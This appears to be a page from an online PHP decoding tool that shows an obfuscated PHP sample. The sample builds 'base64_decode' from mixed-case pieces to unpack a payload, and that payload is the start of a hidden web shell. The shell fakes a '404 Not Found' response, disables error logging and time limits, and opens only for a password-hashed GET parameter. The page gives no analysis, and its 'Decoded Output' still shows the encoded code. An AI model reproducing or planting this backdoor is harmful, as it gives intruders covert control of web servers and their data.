Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $a = 'bAsE'; $b = '64_dEcODE'; $c = $a.$b; $d = $c('c2Vzc2lvbl9zdGFydCgpOwpAZX..

Decoded Output download

 
<?php 
$a = 'bAsE'; 
$b = '64_dEcODE'; 
$c = $a.$b; 
$d = $c('c2Vzc2lvbl9zdGFydCgpOwpAZXJyb3JfcmVwb3J0aW5nKDApOwpAc2V0X3RpbWVfbGltaXQoMCk7CmhlYWRlcignSFRUUC8xLjEgNDA0IE5vdCBGb3VuZCcpOwppZih2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sJzUuMy4wJywnPCcpKXsKQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsKaGVhZGVyKCdIVFRQLzEuMSA0MDQgTm90IEZvdW5kJyk7Cn1AY2xlYXJzdGF0Y2FjaGUoKTsKQGluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7CkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsKQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7CkBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywwKTsKJHBhc3N3b3JkID0gImU1ZTI3MmMxOTA3NmY2N2FkMTY4YmRiMTE4MTdmYTc4IjsgLy8KaWYoaXNzZXQoJF9HRVRbJ3EnXSkgJiYgKG1kNSgkX0dFVFsncSddKSA9PSAkcGFzc3dvcmQpKXt7CmVjaG8gIjxodG1sPjxoZWFkPjxtZXRhIG5hbWU9J3ZpZXdwb3J0JyBjb250ZW50PSd3aWR0aD1kZXZpY2Utd2lkdGgsaW5pdGlhbC1zY2FsZT0xJz48bGluayByZWw9J2ljb24nIHR5cGU9J2ltYWdlL3BuZycgaHJlZj0naHR0cHM6Ly93d3cucmVkZGl0c3RhdGljLmNvbS9pY29uLnBuZycgdHlwZT0naW1hZ2U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